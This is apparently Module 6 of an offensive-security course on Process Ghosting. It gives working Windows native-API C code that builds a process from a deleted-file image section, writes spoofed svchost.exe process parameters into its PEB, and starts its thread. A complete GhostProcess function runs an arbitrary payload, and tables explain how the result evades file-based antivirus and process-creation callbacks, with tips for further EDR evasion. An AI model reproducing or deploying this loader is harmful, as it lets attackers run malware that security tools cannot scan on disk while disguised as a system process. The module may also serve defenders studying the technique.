Difficulty: Intermediate

Module 6: Process & Thread Creation

Bringing the ghost to life — NtCreateProcessEx, PEB setup, process parameters, and NtCreateThreadEx to start execution.

Module Objective

Implement the final phase of Process Ghosting: creating a process from the ghost section handle using NtCreateProcessEx, setting up process parameters with RtlCreateProcessParametersEx, writing them into the target process, and creating the initial thread with NtCreateThreadEx. By the end of this module, the ghost process is running.

1. Step 1: Creating the Process Object

With the image section handle from Module 5, we create a process. NtCreateProcessEx creates an EPROCESS object and maps the section into a new address space:

HANDLE hProcess = NULL;

NTSTATUS status = NtCreateProcessEx(
    &hProcess,              // output: process handle
    PROCESS_ALL_ACCESS,     // desired access
    NULL,                   // object attributes
    NtCurrentProcess(),     // parent process handle
    0,                      // flags (0 = inherit nothing)
    hSection,               // THE GHOST SECTION
    NULL,                   // debug port
    NULL,                   // exception port
    FALSE                   // InJob
);

NtCreateProcessEx Parameters

ParameterValuePurpose
ProcessHandle&hProcessReceives the handle to the new process
DesiredAccessPROCESS_ALL_ACCESSFull access — we need to write memory and create threads
ObjectAttributesNULLNo special naming or inheritance
ParentProcessNtCurrentProcess()Our process is the parent. This affects token inheritance and process tree.
Flags0No special flags (no handle inheritance, etc.)
SectionHandlehSectionThe ghost image section — this is what gets mapped into the process
DebugPortNULLNo debugger attached
ExceptionPortNULLNo exception port
InJobFALSEDo not create in a job object

After this call, the kernel has created a new process with the ghost image mapped into its virtual address space. The process has a PEB, an address space, and ntdll.dll mapped. But it has no threads — it is not executing.

2. Reading Process Information

Before setting up parameters, we need to find the PEB address and the image entry point in the new process:

// Get the PEB address of the new process
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen = 0;

status = NtQueryInformationProcess(
    hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    &retLen
);

PPEB pRemotePEB = pbi.PebBaseAddress;

// Read the image base from the remote PEB
PVOID imageBase = NULL;
SIZE_T bytesRead = 0;

// PEB.ImageBaseAddress is at offset 0x10 (x64)
ReadProcessMemory(
    hProcess,
    (PBYTE)pRemotePEB + offsetof(PEB, ImageBaseAddress),
    &imageBase,
    sizeof(imageBase),
    &bytesRead
);

We also need the entry point address, which we can get from the section information we queried in Module 5, or by reading the PE headers from the mapped image:

// Get entry point from section image information
SECTION_IMAGE_INFORMATION imageInfo = { 0 };
NtQuerySection(hSection, SectionImageInformation,
    &imageInfo, sizeof(imageInfo), NULL);

// Entry point absolute address
PVOID entryPoint = imageInfo.TransferAddress;

// Alternative: read from mapped PE headers
// DWORD epRVA = ntHeaders->OptionalHeader.AddressOfEntryPoint;
// PVOID entryPoint = (PBYTE)imageBase + epRVA;

3. Step 2: Creating Process Parameters

Every Windows process needs RTL_USER_PROCESS_PARAMETERS — this structure contains the command line, image path, environment variables, current directory, standard handles, and window information. Without it, the process will crash during loader initialization.

// Create process parameters
UNICODE_STRING imagePath;
UNICODE_STRING commandLine;
UNICODE_STRING currentDir;

// Use a legitimate-looking image path
// This is what appears in Process Explorer, tasklist, etc.
RtlInitUnicodeString(&imagePath,
    L"C:\\Windows\\System32\\svchost.exe");
RtlInitUnicodeString(&commandLine,
    L"C:\\Windows\\System32\\svchost.exe");
RtlInitUnicodeString(¤tDir,
    L"C:\\Windows\\System32");

PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
UNICODE_STRING dllPath;
RtlInitUnicodeString(&dllPath,
    L"C:\\Windows\\System32");

status = RtlCreateProcessParametersEx(
    &processParams,
    &imagePath,         // ImagePathName
    &dllPath,           // DllPath
    ¤tDir,        // CurrentDirectory
    &commandLine,       // CommandLine
    NULL,               // Environment (inherit)
    NULL,               // WindowTitle
    NULL,               // DesktopInfo
    NULL,               // ShellInfo
    NULL,               // RuntimeData
    RTL_USER_PROC_PARAMS_NORMALIZED  // flags
);

RTL_USER_PROC_PARAMS_NORMALIZED

The RTL_USER_PROC_PARAMS_NORMALIZED flag tells the runtime to create the parameters with absolute pointers (normalized) rather than offsets from the structure base (denormalized). This is important because we will be writing the structure into a different process’s address space, and we need the pointers to be valid in that space.

4. Step 3: Writing Parameters into the Target Process

The process parameters must be written into the target process’s memory and the PEB must be updated to point to them:

// Calculate total size of parameters (structure + strings)
SIZE_T paramSize = processParams->MaximumLength +
                   processParams->EnvironmentSize;

// Allocate memory in the target process
PVOID paramBaseAddr = processParams;  // preferred address
status = NtAllocateVirtualMemory(
    hProcess,
    ¶mBaseAddr,
    0,
    ¶mSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

// Write the parameters into the target process
SIZE_T bytesWritten = 0;
WriteProcessMemory(
    hProcess,
    paramBaseAddr,
    processParams,
    processParams->MaximumLength +
        processParams->EnvironmentSize,
    &bytesWritten
);

// Update the PEB to point to the parameters
// PEB.ProcessParameters is at a known offset
WriteProcessMemory(
    hProcess,
    (PBYTE)pRemotePEB +
        offsetof(PEB, ProcessParameters),
    ¶mBaseAddr,
    sizeof(PVOID),
    &bytesWritten
);

Address Space Awareness

A common pitfall is allocating the process parameters at an arbitrary address. If the parameters use normalized (absolute) pointers, those pointers must be valid in the target process. The safest approach is to allocate at the same address in the target as in the current process, or re-normalize the pointers after allocation.

5. Step 4: Creating the Initial Thread

The final step is creating a thread in the ghost process that begins execution at the PE entry point:

HANDLE hThread = NULL;

status = NtCreateThreadEx(
    &hThread,
    THREAD_ALL_ACCESS,
    NULL,                   // object attributes
    hProcess,               // target process
    (LPTHREAD_START_ROUTINE)entryPoint,  // start address
    NULL,                   // parameter
    FALSE,                  // CreateSuspended = FALSE
    0,                      // ZeroBits
    0,                      // StackSize (default)
    0,                      // MaxStackSize (default)
    NULL                    // AttributeList
);

if (NT_SUCCESS(status)) {
    // The ghost process is now RUNNING
    // The thread starts at the PE entry point
    // ntdll!LdrInitializeThunk runs first,
    // processing imports and calling DllMain for loaded DLLs
}

NtCreateThreadEx Parameters

ParameterValueNotes
ThreadHandle&hThreadOutput handle
DesiredAccessTHREAD_ALL_ACCESSFull control over the thread
ProcessHandlehProcessThe ghost process
StartRoutineentryPointPE AddressOfEntryPoint (absolute address in target)
CreateSuspendedFALSEThread starts immediately. Set TRUE if you need to modify context first.
StackSize0Use PE header defaults (SizeOfStackReserve / SizeOfStackCommit)

6. What Happens at Thread Start

When the thread begins execution, it does not jump directly to the application’s entry point. The Windows loader takes over first:

Thread Startup Sequence

  1. ntdll!LdrInitializeThunk — Entry point set by the kernel for all new threads
  2. ntdll!LdrpInitialize — Checks if this is the first thread (process initialization needed)
  3. ntdll!LdrpInitializeProcess — Walks the import table, loads DLLs, resolves imports, processes TLS callbacks
  4. ntdll!LdrpRunInitializeRoutines — Calls DllMain(DLL_PROCESS_ATTACH) for each loaded DLL
  5. Control transfers to kernel32!BaseThreadInitThunk
  6. Finally, the application’s entry point (main, WinMain, or the CRT entry) executes

This means the ghost process goes through the normal Windows loader initialization. Imports are resolved, DLLs are loaded (including any EDR userland DLLs like hooking DLLs), and the process looks fully normal from the loader’s perspective.

7. Complete Ghost Process Creation Function

bool GhostProcess(
    LPCWSTR ghostFilePath,
    BYTE* payload, DWORD payloadSize,
    LPCWSTR spoofedImagePath)
{
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    NTSTATUS status;

    // Phase 1 & 2: Ghost file + section (Modules 4-5)
    if (!CreateGhostSection(ghostFilePath,
            payload, payloadSize, &hSection)) {
        return false;
    }

    // Phase 3: Create process from ghost section
    status = NtCreateProcessEx(
        &hProcess, PROCESS_ALL_ACCESS,
        NULL, NtCurrentProcess(),
        0, hSection, NULL, NULL, FALSE);
    if (!NT_SUCCESS(status)) {
        NtClose(hSection);
        return false;
    }

    // Phase 4: Get PEB and entry point
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    NtQueryInformationProcess(hProcess,
        ProcessBasicInformation,
        &pbi, sizeof(pbi), NULL);

    SECTION_IMAGE_INFORMATION imgInfo = { 0 };
    NtQuerySection(hSection,
        SectionImageInformation,
        &imgInfo, sizeof(imgInfo), NULL);

    // Phase 5: Create and write process parameters
    UNICODE_STRING imgPath, cmdLine, curDir, dllPath;
    RtlInitUnicodeString(&imgPath, spoofedImagePath);
    RtlInitUnicodeString(&cmdLine, spoofedImagePath);
    RtlInitUnicodeString(&curDir, L"C:\\Windows\\System32");
    RtlInitUnicodeString(&dllPath, L"C:\\Windows\\System32");

    PRTL_USER_PROCESS_PARAMETERS params = NULL;
    RtlCreateProcessParametersEx(¶ms,
        &imgPath, &dllPath, &curDir, &cmdLine,
        NULL, NULL, NULL, NULL, NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED);

    // Write params into target and update PEB
    WriteParamsToProcess(hProcess,
        pbi.PebBaseAddress, params);

    // Phase 6: Create initial thread
    status = NtCreateThreadEx(
        &hThread, THREAD_ALL_ACCESS,
        NULL, hProcess,
        (LPTHREAD_START_ROUTINE)imgInfo.TransferAddress,
        NULL, FALSE, 0, 0, 0, NULL);

    // Cleanup local resources
    RtlDestroyProcessParameters(params);
    NtClose(hSection);

    if (!NT_SUCCESS(status)) {
        NtTerminateProcess(hProcess, status);
        NtClose(hProcess);
        return false;
    }

    // Ghost process is now running!
    NtClose(hThread);
    NtClose(hProcess);
    return true;
}

8. Post-Creation State

After the ghost process is running, here is the system state from various perspectives:

ObserverWhat They See
Task Manager / Process ExplorerA process with the spoofed image path (e.g., svchost.exe). The image name in the PEB matches the spoofed path.
Kernel (NtQueryInformationProcess)ProcessImageFileName returns the path of the ghost file (which no longer exists on disk).
AV file scanCannot scan the backing file — it does not exist. Attempting to open the path returns STATUS_OBJECT_NAME_NOT_FOUND.
Memory scanThe image is in memory and executable. If the AV has signatures for the payload, memory scanning can still detect it.
ETW / Kernel callbacksProcess creation callbacks (PsSetCreateProcessNotifyRoutineEx) fire when the first thread is inserted, not at process object creation. By then, the FileObject points to a deleted file.

Ghosting Does Not Prevent Memory Scanning

Process Ghosting evades file-based scanning by eliminating the file. It does not protect against memory-based scanning. Once the process is running, its memory can still be scanned by EDR products that do in-memory signature matching. Combining ghosting with memory obfuscation techniques (like sleep obfuscation or per-function masking) provides more comprehensive evasion.

Knowledge Check

Q1: What is the purpose of RTL_USER_PROCESS_PARAMETERS in the ghost process?

A) It contains the PE headers for the image
B) It provides the command line, image path, environment, and other startup information the loader needs
C) It stores the section handle for the ghost image
D) It contains the thread context (registers) for the initial thread

Q2: What runs before the application entry point when NtCreateThreadEx starts the initial thread?

A) The Windows loader (LdrInitializeThunk) processes imports and loads DLLs
B) The antivirus scanner checks the process memory
C) The kernel re-validates the PE headers
D) Nothing — execution goes directly to the entry point

Q3: What limitation does Process Ghosting have even after successfully creating the ghost process?

A) The process cannot load DLLs
B) The process runs with reduced privileges
C) The process cannot create child processes
D) The process memory can still be scanned by EDR, so memory-based detection is still possible